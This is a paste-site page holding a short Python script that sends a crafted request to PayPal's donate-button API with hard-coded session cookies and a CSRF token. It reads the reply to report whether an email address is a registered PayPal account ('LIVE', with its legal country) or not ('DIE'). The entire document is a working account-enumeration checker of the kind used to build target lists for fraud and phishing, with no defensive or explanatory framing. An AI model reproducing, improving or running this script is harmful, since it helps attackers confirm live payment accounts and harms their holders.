Facebook
From Bistre Pudu, 3 Months ago, written in Plain Text.
This paste is a reply to Untitled from Ungracious Crocodile - view diff
Embed
Download Paste or View Raw
Hits: 62
  1. from re import findall
  2. import json
  3. import requests as m
  4.  
  5.  
  6. def paypal(eml):
  7.  
  8.     url_pay = "https://www.paypal.com/donate/api/buttons"
  9.     data2 = "button%5Bcountry_code%5D=US&button%5Btype%5D=DONATE&button%5Bsub_type%5D=PRODUCTS&button%5Blanguage%5D=en&button%5Bbutton_variables%5D%5B0%5D%5Bname%5D=item_name&button%5Bbutton_variables%5D%5B0%5D%5Bvalue%5D=&button%5Bbutton_variables%5D%5B1%5D%5Bname%5D=currency_code&button%5Bbutton_variables%5D%5B1%5D%5Bvalue%5D=USD&button%5Bbutton_variables%5D%5B2%5D%5Bname%5D=business&button%5Bbutton_variables%5D%5B2%5D%5Bvalue%5D="+eml + \
  10.         "&button%5Bbutton_variables%5D%5B3%5D%5Bname%5D=item_number&button%5Bbutton_variables%5D%5B3%5D%5Bvalue%5D=&button%5Bbutton_variables%5D%5B4%5D%5Bname%5D=no_shipping&button%5Bbutton_variables%5D%5B4%5D%5Bvalue%5D=1&button%5Bbutton_variables%5D%5B5%5D%5Bname%5D=no_note&button%5Bbutton_variables%5D%5B5%5D%5Bvalue%5D=0&button%5Bbutton_image_url%5D=https%3A%2F%2Fwww.paypalobjects.com%2Fen_US%2Fi%2Fbtn%2Fbtn_donateCC_LG.gif&button%5Bbutton_image%5D=CC"
  11.     js = json.dumps(data2)
  12.     headers = {
  13.         "Host": "www.paypal.com",
  14.         "Accept": "*/*",
  15.         "Accept-Language": "en-US,en;q=0.5",
  16.         "Accept-Encoding": "gzip, deflate",
  17.         "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  18.         "x-csrf-token": "jPisxPlgLiLOIOilVnuOYZrriXgNUhpmFXR4g=",
  19.         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0",
  20.         "cookie": "tsrce=bizcomponentsnodeweb; ts=vreXpYrS%3D1681998232%26vteXpYrS%3D1587392032%26vr%3D9475aff11710a983e6b4070cfffe287c%26vt%3D97d4812c1710a621d6f72f5effffb8f6; ts_c=vr%3D9475aff11710a983e6b4070cfffe287c%26vt%3D97d4812c1710a621d6f72f5effffb8f6; LANG=en_US%3BUS; x-pp-s=eyJ0IjoiMTU4NzM5MDIyNDEyMSIsImwiOiIwIiwibSI6IjAifQ; nsid=s%3AYdlndcqjhlE0ZfWkfv-eogW7eqGjy4mZ.ug7BfbsIWlVG4q8IsGRf0oh03GW4nRGL3aaqMs69Ofo; X-PP-SILOVER=name%3DLIVE5.WEB.1%26silo_version%3D880%26app%3Dbizcomponentsnodeweb%26TIME%3D1587390224%26HTTP_X_PP_AZ_LOCATOR%3Ddcg02.phx; X-PP-L7=1; akavpau_ppsd=1587390824~id=bbe06b97b860f111be463af7e2681444; SEGM=bRdV1vB0ebq9RKdAb3xSHowCi6QnnlCiDOLNk8i1mAuLl1vTbzHQwWajSsMe8mvoWiJtY1GnpzN4Y-sixGy7BQ; tcs=main%3Awps%3Adonate%3Abutton%3Asetup%3Awizard%3Aunhosted%3A3%7CnextStep"
  21.     }
  22.     die = "Email id is not matching with the records."
  23.     cc = m.post(url_pay, json=js, headers=headers).content.decode("utf-8")
  24.     if (die in cc):
  25.         print("DIE")
  26.     else:
  27.         x = findall('"legalCountry":"(.*?)"', cc)
  28.         print("LIVE : "+eml+" & >> Country >> "+str(x[0]))
  29.  
  30.  
  31. paypal("email@email.cz")
  32.  
  33.